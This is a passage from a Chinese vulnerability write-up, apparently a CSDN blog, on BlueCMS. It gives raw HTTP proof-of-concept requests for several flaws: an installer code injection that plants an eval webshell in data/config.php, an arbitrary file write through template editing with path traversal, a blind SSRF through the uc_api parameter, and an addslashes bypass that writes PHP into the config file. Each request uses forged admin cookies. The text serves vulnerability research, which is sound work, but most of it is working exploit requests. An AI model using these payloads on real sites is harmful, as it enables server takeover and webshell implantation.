- 双引号可以解析变量的值
- { } 可以用作与分割双引号内字符串的值,同时{}也不会被转译
那么通过以上了解,我们就可以构造出以下 poc
POST /install/index.php?act=step4 HTTP/1.1
Host: 192.168.1.6:86
Cookie: PHPSESSID=d72b7nfl8kd8l90l6t08vqev64; detail=4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
dbhost=localhost&dbname=blue{${eval($_POST[a])}}&dbuser=root&dbpass=0x000000000001&pre=blue&admin_name=admin&admin_pwd=admin&admin_pwd1=admin&[email protected]&cookie_hash=123
payload被成功插入 data/config.php
文件中
尝试蚁剑连接
72.admin/tpl_manage.php (do_edit) 存在任意文件写入漏洞
通过代码分析得值,我们需要传输3个参数
- act = do_edit
- tpl_name = 写入得文件名称
- tpl_content = 写入得内容
内容不为空的情况下需要调用 deep_stripslashes 函数
找到函数声明处,参数 s t r 不是数组的情况下,就会调用 ‘ s t r i p s l a s h e s ( str 不是数组的情况下,就会调用 `stripslashes( str不是数组的情况下,就会调用‘stripslashes(str)`
而stripslashe
函数的作用正好是删除反斜杠,与 addslashes 相反。
那么可以直接构造poc
POST /admin/tpl_manage.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
act=do_edit&tpl_content=<?php phpinfo();?>&tpl_name=../../shell.php
成功写入
73.admin/uc_setting.php (install) uc_api参数存在 无回显SSRF 服务端请求伪造漏洞
我们需要提交uc_ip、uc_api、uc_admin_pwd 参数,最后会将 uc_api 作为参数 传递到 uc_open 函数中,普及一些系统函数的知识
- parse_url:解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
- gethostbyname:gethostbyname 返回主机名 hostname 对应的 IPv4 互联网地址。
- ip2long:返回 IPV4 网络地址的长整型格式,从标准网络地址格式(点字符串)转化得到
找到函数声明,首先传输进来的url参数会调用parse_url去解析成数组,最后传输到 fsockopen 函数中执行
- fsockopen — 打开一个网络连接或者一个Unix套接字连接
使用python在服务区上开启一个web端口
python3 -m http.server 8900
构造poc,尝试让服务器自己去访问 8900 端口
POST /admin/uc_setting.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
act=install&uc_api=http://localhost:8900/&uc_admin_pwd=1&uc_ip=1
但是每次都会拼接 index.php 去访问,其实只要在 url 中给一个 Get 传参即可
74. admin/uc_setting.php (do_edit) tpl_content参数存在 任意文件写入 (二次写入置空绕过addslashes)
代码分析:当 act=edit 时,就会将 post 提交的 uc_config 当作参数,传输到uc_edit函数中调用
uc_edit 函数,分析步骤如下
- 打开 data/config.php 文件,读取内容存储到 $content 变量中
- 如果 $uc_config[‘connect’] 不为空则执行if中的代码块
- 调用 uc_insert_config 函数,将我们输入的内容进行拼接替换
- 写入到 data/config.php 文件中
找到 uc_insert_config
变量声明处进行分析
那么问题来了,我们输入的字符串单引号会被 addslashes 进行转译,那么怎么绕过呢?
POST /admin/uc_setting.php HTTP/1.1
Host: 192.168.1.6:86
Cookie: Blue[admin_id]=1;Blue[admin_name]=1;Blue[admin_pwd]=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
act=edit&uc_config[uckey]=');?><?php phpinfo();?><?php #
其实我们只要利用到 uc_insert_config 替换机制就能进行绕过
"/define\('UC_KEY',\s*'.*?'\);/i"
拿 UC_KEY 举例,我们提交空的 $uc_config['uckey']
参数后,就会对 UC_KEY 常量置空
define('UC_KEY', '\');
替换成:
define('UC_KEY', '');
那我们就再提交一次空 poc
可以发现UC_KEY中的反斜杠没有了,内容置空了 。但后面的内容依然保留着。
访问config文件。
标签:Blue,1.6,name,admin,Content,漏洞,74,Bluecms,php From: https://blog.csdn.net/weixin_41924764/article/details/143192460